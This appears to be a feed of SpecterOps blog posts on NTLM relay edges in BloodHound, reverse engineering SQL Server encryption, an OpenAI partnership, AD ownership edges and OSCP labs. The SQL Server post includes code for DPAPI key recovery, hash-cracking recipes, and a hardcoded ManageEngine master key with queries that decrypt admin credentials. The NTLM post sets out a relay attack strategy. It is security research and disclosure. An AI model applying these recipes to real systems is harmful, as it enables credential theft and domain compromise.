  • There is at least one domain controller running on Windows 2022 or older, and LDAP signing is not required.
  • The relay victim has the Web Client service running.
  • There is no outgoing NTLM restriction on the victim host. In BloodHound Community Edition, if this data wasn’t collected/ingested, it will be assumed to be false (not restricted), as per the default configuration. In BloodHound Enterprise, this assumption is not made, and the edge will not be created.

BloodHound creates the CoerceAndRelayNTLMToLDAPS edge if the following criteria are met:

  • There is at least one domain controller running on Windows 2022 or older, and LDAPS is available without channel binding required.
  • The relay victim has the Web Client service running.
  • There is no outgoing NTLM restriction on the victim host. In BloodHound Community Edition, if this data wasn’t collected/ingested, it will be assumed to be false (not restricted), as per the default configuration. In BloodHound Enterprise, this assumption is not made, and the edge will not be created.
  • If the domain functional level is Windows Server 2012R2, the relay victim must not be a member of the Protected Users group.

The edge is always created from Authenticated Users to the computer node representing the relay victim.

Expanding the Relay Targets section in the information panel lists all the affected domain controllers that can be targeted.

Abuse

As mentioned above, following a successful relay, the relay victim can configure RBCD or Shadow Credentials against its own computer account to compromise the host. In addition to that, if the computer account happens to have any abusable permissions in Active Directory, those will be viable as well, with the caveat that the ForcePasswordChange edge (password reset) is only abusable via LDAPS and not via LDAP.

In the real world, it is very common to find domain-joined workstations with the Web Client running, and domain controllers are very rarely configured to require both LDAP signing and channel binding or run on Windows Server 2025, so this is a very rel(a)yable way to compromise domain-joined hosts. It is even more common to abuse this technique for local privilege escalation on domain-joined workstations due to the ease of turning the Web Client service on and coercing authentication from SYSTEM as a low-privileged user.

LDAP-Specific Limitations

You may have noticed that BloodHound currently doesn’t take NTLMv1 into consideration for edge creation.

Another important limitation to note is that the CoerceAndRelayNTLMToLDAP and CoerceAndRelayNTLMToLDAPS edges are created based on the current Web Client service status, but it is very dynamic. The fact that the service was not running on a host during collection does not mean it will remain that way and that the host is not exposed.

General Limitations

So far, we have mentioned some limitations affecting specific edge types. There are also limitations affecting all the new NTLM relay edges:

  • Only computer account authentication coercion scenarios are considered. User authentication coercion is out of scope at this time.
  • Only coercion scenarios are considered. Opportunistic relay attacks, i.e., waiting for a suitable relay victim to authenticate to an attacker-controlled host, such as authenticated vulnerability scanners, are out of scope.
  • Firewalls or sorts and network restrictions are out of scope and not taken into consideration for these new relay edges, just as they were not taken into consideration for any of the previous BloodHound edges.

We also make a general assumption that computer account authentication coercion can be triggered by Authenticated Users, as explained earlier.

Future Work

We plan to introduce additional relay edges in the future. We already have relay to MS SQL and WinRM on our roadmap. We are always open to suggestions if you have additional ideas/requests.

NTLM Abuse Strategy

Let’s take everything covered in this post and put together an NTLM abuse strategy.

First, let’s make some observations and assumptions:

  • NTLM challenge-response capture is less noisy than NTLM relay, but cracking depends on the strength of the password.
  • User authentication coercion can trigger the Web Client service to start, but computer authentication coercion can’t.
  • Scanning for hosts with the Web Client service running can be noisy. Similarly, collecting session information is noisy or even impossible without local admin rights.
  • NTLM relay attacks should be precise on red team operations. The “Spray and Pray” approach should be avoided.

Given the above, I propose the following approach:

  • At the beginning of an op/assessment, cast a wide net for user authentication coercion through watering hole attacks on high-traffic file shares or web pages. Try to coerce and capture both WebDAV and SMB traffic if you can. SMB is sometimes more likely to succeed, but this is your opportunity to start the Web Client service on every affected client.
  • As you capture NTLM responses, keep track of where users authenticate from — it tells you where they have a session. It is, in a way, passive session collection.
  • Attempt to crack passwords of interesting accounts that can help you escalate privileges or achieve your objectives. Don’t waste your GPU on meaningless accounts.
  • If you identify an interesting user but can’t crack the password, it’s time to relay.
  • Target the computer on which the user was active and compromise it via relay to ADCS (ESC8) or via relay to LDAP/LDAPS (RBCD or Shadow Credentials).
  • Once you gain admin access to the host, you can potentially avoid the risk involved in lateral movement and credential abuse by placing an authentication coercion file on the user’s desktop via the C$ share and relaying the NTLM exchange to the target resource.

What is Microsoft Doing About It?

Microsoft has been making efforts to mitigate these attacks. As I mentioned, relaying to LDAP is no longer possible against domain controllers running Windows Server 2025, and all Windows 11 and Windows Server 2025 hosts now require SMB signing by default. It’s a good start.

Microsoft has been working on a much more significant initiative to deprecate NTLM altogether. They’ve identified the following reasons why Windows hosts still use NTLM and have started working on solutions:

  • Until recently, the only option for local account authentication was NTLM. Microsoft is in the process of rolling out a “local KDC” to support Kerberos authentication for local accounts.
  • When clients don’t have a line of sight to a domain controller, they can’t obtain Kerberos tickets and have to fall back to NTLM. Microsoft is in the process of rolling out IAKERB, which will turn every Windows host into a Kerberos proxy.
  • Kerberos authentication requires mapping the resource that the client is trying to access to a service account. This is done through service principal names (SPN). SPNs usually use hostnames rather than IP addresses, so when a client attempts to access a resource by IP address, Kerberos authentication typically fails. However, as of Windows Server 2016, SPNs support SPNs with IP addresses.
  • Most NTLM usage is a result of software hard-coded to call the NTLM authentication package instead of the Negotiate package, which wraps Kerberos and NTLM and negotiates the most suitable option. Microsoft has been working on fixing these hard-coded issues in its own software, and, rumor has it, they have also been working with 3rd parties to fix their code.

Microsoft intends to have NTLM disabled by default (not completely removed), which means that even when the day finally comes, we will likely still find organizations that turn it back on, just as we still find hosts with NTLMv1 enabled. Last I heard, Microsoft had plans to have it done by 2028, but I believe they are already behind schedule, and, if history has taught us anything, we should expect it will take much longer than that.

Kerberos is NOT the Solution

For many years, people thought that Kerberos was not susceptible to relay attacks because it is based on tickets, and every ticket is issued to a specific service, so you can’t relay it to arbitrary targets. But that’s no longer the case. As James Forshaw discovered and Andrea Pierini weaponized, there are authentication coercion primitives that allow the attacker to control the service name for which the relay victim obtains a Kerberos ticket. These coercion primitives negotiate session security with signing, so they can’t be relayed to LDAP/LDAPS. However, they are compatible with relaying to SMB and ADCS.

Therefore, disabling NTLM is not the solution. Ensuring all servers enforce signing and channel binding is the right way to mitigate relay attacks.

We may add Kerberos relay edges to BloodHound in the future. Until then, you can be confident that whenever you see CoerceAndRelayNTLMToADCS or CoerceAndRelayNTLMToSMB edges, you can relay either NTLM or Kerberos.

Why Are We Releasing It Now?

There are many misconceptions about the problem and the solution for the NTLM relay problems. The new edges we introduced into BloodHound will hopefully bring clarity and put it in the spotlight, helping organizations prioritize one of the most significant yet underestimated risks affecting Active Directory environments.

Better Remediation Strategies

The remediation guidance for NTLM relay attacks is often “enforce everything, everywhere”, which is not very practical in a large environment that requires backward compatibility. However, BloodHound now helps defenders see what’s actually viable in their environments and prioritize high-impact/exposure targets. BloodHound has a set of pre-built cypher queries that can get you started with that.

Conclusion

NTLM relay attacks are far from dead. In fact, they’re often easier to execute and more effective than many security practitioners realize. This old technique remains one of the paths of least resistance in modern Active Directory environments, routinely enabling trivial pivots to high-value targets. The introduction of NTLM relay edges in BloodHound has made identifying and visualizing these attack paths remarkably simple: with just a few clicks, an operator can see how Authenticated Users can relay their way from zero to hero. In other words, BloodHound now depicts, with clear, intuitive edges, what once required stitching together information from multiple tools, showing defenders the real risks they face while allowing attackers to, once again, think in graphs.


The Renaissance of NTLM Relay Attacks: Everything You Need to Know was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • The SQL Server Crypto Detour Adam Chester
    As part of my role as Service Architect here at SpecterOps, one of the things I’m tasked with is exploring all kinds of technologies to help those on assessments with advancing their engagement.Not long after starting this new role, I was approached with an interesting problem. A SQL Server database backup for a ManageEngine’s ADSelfService Plus product had been recovered and, while the team had walked through the database recovery, SQL Server database encryption was in use. With a ticking clock
     

The SQL Server Crypto Detour

As part of my role as Service Architect here at SpecterOps, one of the things I’m tasked with is exploring all kinds of technologies to help those on assessments with advancing their engagement.

Not long after starting this new role, I was approached with an interesting problem. A SQL Server database backup for a ManageEngine’s ADSelfService Plus product had been recovered and, while the team had walked through the database recovery, SQL Server database encryption was in use. With a ticking clock, the request was clear… can we do anything to recover sensitive information from the database with only a .bak file available?

One of the things that I love about this job is getting to dig into various technologies and seeing the resulting research being used in real-time. After some research, we had decryption keys, a method of decrypting sensitive data, and DA credentials extracted and ready to go!

This post will explore how this was done, look at how SQL Server encryption works, introduce some new methods of brute-forcing database encryption keys, and show a mistake in ManageEngine’s ADSelfService product which allows compromised database backups to reveal privileged credentials.

Manage Engine Protected Data

Let’s start with Manage Engine’s ADSelfService product. Documentation shows that Domain Admin credentials are likely present:

If we setup this tool in a lab environment, we find encrypted fields such as the below USER_NAME column:

Further, if we review the configuration of the database, we see that this is SQL Server’s builtin encryption functionality that is being used to protect these fields. So the mission is clear: we need to understand SQL Server Encryption before we can hope to retrieve this data in cleartext.

SQL Server Encryption Overview

The root of the cryptography chain in SQL Server is the Service Master Key (SMK). This key is associated and stored in the master database for the server.

At a database layer, the Database Master Key (DMK) is the start of the encryption chain for each database. This diagram from Microsoft gives a brilliant visualisation of this in action:

https://learn.microsoft.com/en-us/sql/relational-databases/security/encryption/encryption-hierarchy?view=sql-server-ver16

For us to explore this encryption functionality, let’s run a few TSQL commands on a lab instance of SQL Server 2019.

First up, we create a new database and master key:

USE CryptoDB;
CREATE MASTER KEY ENCRYPTION BY PASSWORD='Password123'

We can then view our created master key with:

SELECT * FROM sys.symmetric_keys

Now this doesn’t show the actual content of the master key. Instead, to see this, we can use the query to list encryption keys in a database:

SELECT * FROM sys.key_encryptions

The crypt_property field shows our newly created master key in some form. We can also see that the crypt_type and crypt_type_description fields give a good indication as to each key’s type.

After searching Microsoft’s documentation for how these keys are actually stored, or ways that we can extract them, I found a few snippets of information:

Unfortunately none of this is useful for our purpose, so into the disassembler and debugger I needed to go.

Strap In Peeps.. We’re Going Low Level!

For this exercise, it usually makes sense to try and find a good lead as to the APIs that Microsoft SQL Server may use to handle encryption/decryption. My lab ran SQL Server 2017 on Microsoft Windows Server 2019 and installing WinDBG Preview was too much of a pain without access to the Windows Store, so I spun up API Monitor and hooked the Crypto APIs to see if anything indicated their use during cryptographic operations on SQL Server. We execute the TSQL to open the master key and:

As far as indicators go, this was a good one. We see that BCryptHashData was used along with a password provided during the opening of the database master key.

The important part for us is the call stack, which showed sqllang.dll and sqlmin.dll were prime candidates for reversing:

Symbols were available for both of these dynamic-link libraries (DLLs) are grabbed using symchk.exe:

Service Master Key Encryption

Let’s look at how the Service Master Key is generated and stored on SQL Server. This is the root of the encryption chain as shown in Microsoft’s diagram, so if we can find a vulnerability here, or some method of cracking this key, everything else will fall!

We know that a Database Master Key is encrypted using the Service Master Key. We also know from Microsoft’s documentation that this is likely protected using the data protection APIs (DPAPIs), which means that if we add a breakpoint on CryptUnprotectData / CryptProtectData and create a new DMK, we are in with a shot of seeing where in SQL Server is responsible for using the SMK.

To create the new key we use:

CREATE MASTER KEY ENCRYPTION BY PASSWORD='Password123'

And we hit a breakpoint with a valuable stack trace:

Here we see two method calls which tell us a story:

CSECDBMasterKey::Decrypt

CSECServiceMasterKey::Initialize

This makes sense, because we know that the SMK is used to decrypt the DMK and the DPAPI should protect the SMK.

We can pull out the arguments to CryptoUnprotectData and find the following value being decrypted:

And if we use the following TSQL query:

SELECT * FROM master.sys.key_encryptions

We find that the encrypted SMK matches the encrypted key stored in the master database:

Another caveat is a value passed to CryptUnprotectData as the optional entropy value. After a bit of digging, we find that this value is taken from the registry key:

HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL14.MSSQLSERVER\Security

So what does this mean? Well, if you have execution rights on a machine running SQL Server, we can use the following C# to recover the SMK:

using System;
using System.Security.Cryptography;
using Microsoft.Win32;

namespace ConsoleApp1
{
internal class Program
{
static void Main(string[] args)
{
// Read registry key
var rk = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\\Microsoft\\Microsoft SQL Server\\MSSQL14.MSSQLSERVER\\Security");
byte[] entropy = (byte[])rk.GetValue("Entropy", new byte[] { 0x41 });
// SQL Encrypted SMK (minus the first 8 bytes)
byte[] encryptedData = new byte[]
{
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB, 0x01, 0x00, 0x00, 0x00, 0xAC, 0x5E, 0xB2, 0x87, 0xF5, ... 0x8E, 0x50, 0x44, 0xFA, 0xDC, 0xBE, 0x47, 0x88, 0x16, 0x57, 0xBF, 0xCB, 0xB3, 0x56, 0x7B, 0x43, 0x86, 0x68, 0x31, 0x7E, 0x30, 0xE3, 0xE4, 0x3A, 0x14, 0xB4
};
try
{
// Decrypt key
byte[] data = ProtectedData.Unprotect(encryptedData, (byte[])entropy, DataProtectionScope.LocalMachine);
Console.WriteLine("Key Recovered");
} catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}

Unfortunately with only the database backup that we hold for ADSelfService, this isn’t an option, so we move onto the next crypto layer, the Database Master Key.

Database Master Key Encryption

With DPAPI being used to protect the SMK, next up we tackle the DMK to see what we can unearth here.

We know from our TSQL that when we initialized the DMK, we used a password:

CREATE MASTER KEY ENCRYPTION BY PASSWORD='Password123'

This password is surely a weak link in the chain, but there are a few questions that come up:

  1. How is this password stored in the database?
  2. Is all of the keying material for this password stored in a database backup?
  3. Can we bruteforce this key?

First up, we need to understand how this key is actually stored in the database. We attach a debugger to SQLServr.exeand use a password to attempt to open the DMK:

OPEN MASTER KEY DECRYPTION BY PASSWORD='ABCDE'

We add breakpoints to the previously observed BCrypt suite of APIs and we find that, after being executed, we land on a method called BCryptHashData:

The call stack shows where this is invoked:

What’s interesting is the use of the word Obfus in the method CMEDProxyObfusKey::SearchEncryptionByUserData . Obfuscation usually means something fishy is going on, so we dig into this method a bit more and we find reference to a key thumbprint:

Add a breakpoint to ComparePartialThumbPrint and attempt to open the master key again with an invalid password using:

OPEN MASTER KEY DECRYPTION BY PASSWORD='password123'

This time we find that our password is passed to this method as an argument, along with the unicode byte length:

But what is this being compared to? Dumping the third argument to this method call shows the following memory content:

This is not something that we’ve seen so far, but a bit of digging in SQL reveals the following table (requires DAC / diagnostic connection on a live database):

SELECT * FROM sys.sysobjkeycrypts

This looks similar to the previous sys.key_encryptions table; however, the thumbprint value is populated this time. What is going on here?

At this point, we know that the thumbprint is being used alongside our plaintext password. Let’s look in ComparePartialThumbPrint to see what the comparison is doing.

First the provided password is hashed:

Then the hash is salted:

And then the result is compared to the thumbprint:

If this is the case, this gives us a brilliant opportunity to create a brute-force method for our target database. After all:

  1. All of the keying material is stored in the database (and therefore the database backup)
  2. Nothing relates to the SMK and, therefore, DPAPI

But what are the algorithms used to hash the password? Well, in the type field of sys.key_encryptions we have a number of values:

  • ESKP - Observed in databases starting at SQL Server 2008
  • ESP2 - Observed in databases starting at SQL Server 2012

Starting with ESP2, if we add a breakpoint to BCryptHashData, we find that this is SHA-512 salted with 8 bytes. The resulting hash is then truncated to 24 bytes and then compared to the thumbprint.

Unfortunately for us, there is an additional step that SQL Server takes when storing the SHA-512 hash of the DMK: the hash truncates to 24 bytes.

This step alone appears to put it out of the reach of stock Hashcat rules; however, if we turn to John The Ripper, we have the option of Dynamic Rules.

A warning in advance: this is going to be slow, but we can add the following dynamic rule which will crack ESP2 keys:

[List.Generic:dynamic_2020]
Expression=sha512(utf16le($p).$s) (hash truncated to length 24)
Flag=MGF_SALTED
Flag=MGF_FLAT_BUFFERS
Flag=MGF_INPUT_24_BYTE
SaltLen=8
Func=DynamicFunc__clean_input_kwik
Func=DynamicFunc__setmode_unicode
Func=DynamicFunc__append_keys
Func=DynamicFunc__setmode_normal
Func=DynamicFunc__append_salt
Func=DynamicFunc__SHA512_crypt_input1_to_output1_FINAL
Test=$dynamic_2020$E45AF6FA6601E13A8F2B620FF8A859AE4B459B848D06F5C7$HEX$28E3C09896ED6177:Wibble123

This dynamic format can then be used with:

./run/john --format=dynamic_2020 /tmp/hashes --wordlist=/tmp/wordlist --encoding=raw

A quick demo to show how this works:

The second type is ESKP, which is using MD5 salted with four bytes. The result is then compared to the thumbprint.

Looking at Hashcat, we find a format which suits our cracking format:

md5(utf16le($pass).$salt)

This means we can crack using:

hashcat -m 30 --hex-salt /tmp/hashes /tmp/uberwordlist.txt

A quick demo to show how this works:

Brute-Forcing the ManageEngine Hashed Database Master Key

So now we have a technique to hopefully recover database encryption keys. We cross our fingers and look in our target database backup and we find ESKP. This means that we have a DMK protected using MD5 and, thankfully, a GPU cracking rig just waiting for us to feed it hashes!

Adding our hash to a file, we fire up our cracking job and…nothing.

The key hasn’t been rotated in a long time. Experience tells us that something is wrong here, so I did what I should have done in the first place. I spun up a local instance of ManageEngine to take a look at what was happening.

After reviewing, I found a file named product-config.xml, which looks like this:

The masterkey.password property has a value of 23987hxJ#KL95234nl0zBe, and if we throw this into our new method of cracking database encryption keys, we find that it cracks.

More concerningly, I then try this against the provided .bak file from the client environment and it cracks!

So what is this key: just a hardcoded value? A quick throw of this password into Google and…

The key is the example key used in Microsoft’s documentation for setting up a DMK!

TADA, dopamine hit! Using the database backup, we can now unseal the certificate and symmetric keys ManageEngine uses for decryption and pull out those sensitive credentials:

use DATABASE_NAME_HERE -- Update to contain the restored database name
OPEN MASTER KEY DECRYPTION BY PASSWORD = '23987hxJ#KL95234nl0zBe'
OPEN SYMMETRIC KEY ZOHO_SYMM_KEY DECRYPTION BY CERTIFICATE ZOHO_CERT;

And we can use this to decrypt any sensitive data contained within:

SELECT CONVERT(NVARCHAR(MAX), DecryptByKey((SELECT [Password] FROM ADSMDomainConfiguration))) as Password, CONVERT(NVARCHAR(MAX), DecryptByKey((SELECT [USER_NAME] FROM ADSMDomainConfiguration))) as UserName

Here’s what we’ve learned during this exercise:

  1. ManageEngine ADSelfService backups created use an example key Microsoft provides
  2. If you find a database backup that uses a DMK with the ESKP type, you can brute-force the decryption password with the speed of MD5
  3. Always lab your target product before spending so much time in a disassembler

This blog post was presented at SOCON 2025. Stay tuned for the video!


The SQL Server Crypto Detour was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

Advancing Artificial Intelligence Security: Our Partnership with OpenAI and Red Team Operations

Red Team Operations and offensive security assessments have always been a critical part to a mature security program, whether as a validation exercise or to identify new attack paths in a technology implementation. AI and LLMs are advancing at such a rapid pace that it is natural for both users and organizations to question the security implications of these technologies. That is why we are incredibly proud to announce our partnership with OpenAI to strengthen their security posture, to conduct joint research, and to develop open-source techniques and tools. OpenAI’s announcement provides additional details on how we’ve partnered together.

Partnership

Our partnership is founded on a shared vision to secure AI systems and user’s data ensuring trustworthy AI is accessible to all. SpecterOps has always believed in transparency, both with our customers and the community — and in the advent of machine learning, artificial intelligence, and society’s increased usage of large language models; security and privacy are more critical to organizations than ever before. Leveraging OpenAI’s expertise in developing models and SpecterOps industry leadership in understanding attack paths within technologies, we are collaborating on:

  • Security Research to jointly discover and share novel approaches to defend against threat actors and detect malicious activity
  • Continuous Security Assessments that evaluate emerging technologies attack paths unique to artificial intelligence and sharing the outcomes where possible
  • Red Team Exercises to validate and improve the detection and response program at scale by looking at the unique complexities of the scale of OpenAI’s mission

AI and Security

A 2024 report from McKinsey captured that 72% of worldwide respondents have adopted AI and a post from National University states “83% of companies claim that AI is a top priority in their business plans”. With rapid developments by foundation model providers and businesses increasingly adopting AI comes new and additional risks. Some of the more distinct threats to AI systems can include:

  • Sensitive information disclosure including PII, trade secrets, confidential information, or access credentials to internal or cloud computing resources
  • Model and data poisoning by introducing malicious information into model training, fine-tuning, or databases for retrieval augmented generation processes
  • Prompt injection to bypass or maliciously control the system in unintended ways

Because of the growing AI use and the potential risks to creators and consumers, getting ahead of security issues today will better serve how AI impacts humanity tomorrow.

SpecterOps AI Red Team Services

SpecterOps is an industry leader at thinking like an adversary and leveraging red team operations to challenge assumptions to improve the security of assessed technologies. We do this by leveraging years of experience working with clients across all industries to identify and execute novel attack paths and through research efforts to create and publish tools and techniques accessible to all.

We deliver AI red team services by leveraging our adversarial mindset and security expertise to evaluate AI technologies through their design, development, deployment, and operations and maintenance stages. AI systems are decomposed into their individual components and holistically evaluated for attack vectors and vulnerabilities both unique to artificial intelligence and traditional technologies.

Our AI red team services are composed of:

  • Threat modeling to understand a model’s acceptable use and failures modes and then mapping out unique attack vectors that can negatively impact model development
  • Direct model inference assessments for security, safety and trustworthiness, alignment, and privacy
  • Penetration tests to identify and exploit weaknesses in AI systems’ full applications stack, identity and access management services, data storage, cloud and compute resources, agentic workflows, pipelines, and all other supporting infrastructure
  • Red Team Operations to exploit attack paths providing stimuli for monitoring, detection, and incident response

In partnership with OpenAI we are deepening the quality of our assessments by having direct insights into state-of-the-art model technologies. As we work together, we’re able to iterate faster and incorporate lessons learned, communicate risks that have significant value, and generate actionable remediation guidance to ensure systems and data are both secured and resilient.

Conclusion

SpecterOps is excited to partner with OpenAI to continue advancing the safety and security of AI. This new partnership marks the start of continuous assessments, research, and innovative improvements to defending systems from risks distinctive to artificial intelligence. We are even more excited to be able share outcomes with a larger audience. In collaboration with OpenAI, our world class red team services will be at the forefront of security ensuring a more secure world for our clients and the community.

References


Advancing Artificial Intelligence Security: Our Partnership with OpenAI and Red Team Operations was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Do You Own Your Permissions, or Do Your Permissions Own You? Chris Thompson
    tl;dr: Less FPs for Owns/WriteOwner and new Owns/WriteOwnerLimitedRights edgesBefore we get started, if you’d prefer to listen to a 10-minute presentation instead of or to supplement reading this post, please check out the recording of our most recent BloodHound Release Recap webinar. You can also sign up for future webinars here.Back in August, a BloodHound Enterprise (BHE) customer told us that they had implemented an Active Directory (AD) setting called BlockOwnerImplicitRights to help addres
     

Do You Own Your Permissions, or Do Your Permissions Own You?

tl;dr: Less FPs for Owns/WriteOwner and new Owns/WriteOwnerLimitedRights edges

Before we get started, if you’d prefer to listen to a 10-minute presentation instead of or to supplement reading this post, please check out the recording of our most recent BloodHound Release Recap webinar. You can also sign up for future webinars here.

Back in August, a BloodHound Enterprise (BHE) customer told us that they had implemented an Active Directory (AD) setting called BlockOwnerImplicitRights to help address some attack paths related to object ownership (e.g., Owns, WriteOwner), but the findings were still present in their graph.

Until this point, I had assumed that the owner of an AD object was always implicitly granted permissions to modify that object’s security descriptor to compromise the underlying computer/user (WriteDacl). This is the logic the Owns and WriteOwner edges were built upon. What was this setting I’d never heard of?

The first thing our team did was review the Microsoft documentation to estimate the work effort in removing these false positives.

Turns out, Microsoft introduced BlockOwnerImplicitRights as the 29th bit in a forest’s dSHeuristics attribute to prevent a vaguely-worded vulnerability where a user with permission to create computer-derived AD objects could modify security descriptors and sensitive attributes to elevate privileges in certain scenarios.

According to Microsoft, “The Owner of a security descriptor is implicitly granted READ_CONTROL and WRITE_DAC rights by default… these implicit rights are blocked when the following are TRUE:

  • The BlockOwnerImplicitRights dsHeuristic is set to 1.
  • The requester is a member of neither the Domain Administrators or the Enterprise Administrators group.
  • The objectClass being added or modified is either of type computer or is derived from type computer.”

Next, we read Jim Sykora’s excellent Owner or Pwned whitepaper, which dives into a lot more technical detail on which principal becomes the owner when objects are created, what owner permissions are abusable in different scenarios, and proactive and reactive considerations for implementing preventative controls. I highly recommend reading it to dive further into these concepts.

Now things were starting to make sense. If I understood correctly, enforcing the BlockOwnerImplicitRights bit of the dSHeuristics attribute could prevent certain scenarios we have exploited in real customer environments during offensive operations.

Consider this example:

An organization’s server team uses a specific account to programmatically join new systems to the domain, for example using Microsoft Configuration Manager (formerly SCCM — I physically can’t write a post without mentioning it) or a PowerShell script.

Remember, the account that joins a computer to the domain becomes the owner of the created object in many scenarios (detailed further in Jim’s whitepaper).

Years later, a computer joined to the domain by this account is promoted to a domain controller or is added to tier zero and is now susceptible to WriteDacl abuse via the owner’s implicit rights if the account that joined the system to the domain is compromised.

We have encountered many scenarios where ancient domain join credentials are exposed in a script on a file share or user’s desktop or can be decrypted from the SCCM operating system deployment task sequence, allowing us to compromise every computer they joined to the domain via their implicit WriteDacl permission.

Enter the BlockOwnerImplicitRights attribute.

If implicit ownership rights are blocked for these computer objects, the account that joined a computer to the domain cannot easily compromise the underlying machine via implicit WriteDacl abuse, unless they are already a member of Domain Admins/Enterprise Admins.

Implicit owner rights are also blocked when an ACE explicitly grants a permission to the OWNER RIGHTS SID (S-1–3–4). In this case, the owner is only granted the specific permissions in these ACEs. Here is another reference explaining use cases for this SID.

To fully understand the mechanics of these settings and how they impacted BloodHound, Matt Creel (@Tw1sm) got to work redesigning the Owns edge to eliminate false positives and accurately depict where these security features were enabled.

First, we needed to create a new edge called OwnsLimitedRights to identify any specific permissions granted to the object owner when an ACE is defined for the OWNER RIGHTS SID.

To summarize, implicit ownership rights are blocked if either of the following conditions are true:

  • The OWNER RIGHTS SID (S-1–3–4) is explicitly granted a permission

OR

  • BlockOwnerImplicitRights (29th bit of dSHeuristics ) is set to 1
  • The owner is not a member of Domain Admins or Enterprise Admins
  • The owned object is a computer or derived type

We landed on this design for the Owns and OwnsLimitedRights edges that were updated/introduced in BloodHound v7.1.0.

How are WriteOwner permissions impacted by these changes?

Matt found that this was a bit more complex because ACEs defining permissions for the OWNER RIGHTS SID that are not inherited (i.e., are explicitly defined) are removed from objects when their owner changes.

As a result, we needed to check whether any ACE granted rights to the OWNER RIGHTS SID (S-1–3–4), whether such an ACE was inherited or explicitly defined, and whether it granted abusable permissions in order to correctly depict the WriteOwner edge. We also created a new edge called WriteOwnerLimitedRights that identifies specific abusable permissions granted to the OWNER RIGHTS SID.

We landed on this design for the WriteOwner and WriteOwnerLimitedRights edges, which are also in BloodHound since v7.1.0:

I picked up where Matt left off to implement these changes with a ton of help from Rohan Varzarkar (@CptJesus) and John Hopper, our Director of Engineering.

To process the outcome of each of these scenarios, we needed to compare the forest’s dSHeuristics attribute value to the ACEs on each domain object. Since we don’t know what order data will be uploaded to BloodHound in or whether it’s complete (e.g., only the computers.json or domains.json file is uploaded), that meant we had to add portions of the logic to post-processing, which is the phase that occurs after ingestion of all data during a single upload.

Other portions of the logic could be created during the ingestion phase itself, such as creating edges when the OWNER RIGHTS SID is explicitly granted abusable permissions, in which case we never need to look at the dSHeuristics attribute since implicit owner rights are never granted.

To make the change backwards-compatible with previous SharpHound and third-party collector versions and as lightweight as possible, we wanted to avoid collecting every single ACE (as opposed to only abusable ACEs like SharpHound had always done), but we also needed to know whether any non-abusable permissions were granted to the OWNER RIGHTS SID and whether any such permissions were inherited. As a result, we created two new boolean properties for each object, DoesAnyAceGrantOwnerRights and DoesAnyInheritedAceGrantOwnerRights.

While coding and wiring everything together, we had to account for several other complex scenarios. For example, when both explicitly defined, abusable permissions and inherited, non-abusable permissions are granted to the OWNER RIGHTS SID, the explicitly defined permissions are deleted on ownership change but the inherited ones are not, so the Owns ACE is abusable but WriteOwner ACEs are not. In other cases where explicitly defined, non-abusable permissions are granted to the OWNER RIGHTS SID, the Owns ACE is not abusable. However, those explicitly defined permissions are deleted on owner change, so WriteOwner ACEs could be abusable if the forest’s BlockOwnerImplicitRights attribute is not set or if it is set but the object is not a computer-derived type.

The good news is, BloodHound does all of this processing for you now!

These changes resulted in the following PRs:

As well as an update to BHE.

The majority of the ingest and post-processing logic is implemented in these files:

We learned that implementing these changes eliminated a ton of false positives from the graph for BloodHound users who block owner implicit rights. Users also get the OwnsLimitedRights and WriteOwnerLimitedRights edges “for free”, regardless of what collector they use, because these edges do not depend on collection of dSHeuristics or non-abusable OWNER RIGHTS ACEs.

In the diagrams below:

  • Red edges are now recalculated and removed as false positives when using the new SharpHound collector and BloodHound release
  • Green edges are reclassified as OwnsLimitedRights/WriteOwnerLimitedRights
  • Blue edges are unchanged

BlockOwnerImplicitRights = 1:

BlockOwnerImplicitRights = 0:

Thanks for reading! If you have any questions or feedback for this post, please reach out to me (@_Mayyhem) on Twitter or in the BloodHound Slack (@Mayyhem)!


Do You Own Your Permissions, or Do Your Permissions Own You? was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Getting the Most Value Out of the OSCP: The PEN-200 Labs Kieran Croucher
    How to leverage the PEN-200 simulated black-box penetration testing scenarios for maximal self-improvement and career success.DISCLAIMER:All opinions expressed in this article are solely my own. I have reviewed the content to ensure compliance with OffSec’s copyright policies and agreements. I have not been sponsored or incentivized in any way to recommend or oppose any resources mentioned in this article.IntroductionIn the last post of this series, I explored some hidden benefits and extra step
     

Getting the Most Value Out of the OSCP: The PEN-200 Labs

How to leverage the PEN-200 simulated black-box penetration testing scenarios for maximal self-improvement and career success.

DISCLAIMER:
All opinions expressed in this article are solely my own. I have reviewed the content to ensure compliance with OffSec’s copyright policies and agreements. I have not been sponsored or incentivized in any way to recommend or oppose any resources mentioned in this article.

Introduction

In the last post of this series, I explored some hidden benefits and extra steps students should take when writing notes for the PEN-200: Penetration Testing with Kali Linux course. Before attempting the Offensive Security Certified Professional (OSCP) exam, it’s highly recommended to complete the practical lab networks. But first, read this article to learn how to maximize the lab experience.

PEN-200: Penetration Testing Certification with Kali Linux | OffSec

During the Labs…

“Success is no accident. It is hard work, perseverance, learning, studying, sacrifice, and most of all, love of what you are doing.” — Pelé

The PEN-200 course includes multiple virtual lab environments, each offering an opportunity to grow as an offensive security professional. The three key takeaways from this post are:

  1. Learn how to write a high-quality penetration testing report and apply those skills to each lab network
  2. Use the labs as a baseline to build your own testing environment where you can refine offensive techniques, understand how misconfigurations arise, and analyze network packets associated with different attacks
  3. Develop a repeatable testing methodology, apply it to the labs, and continuously refine it through an iterative process

Write Reports for Each Lab

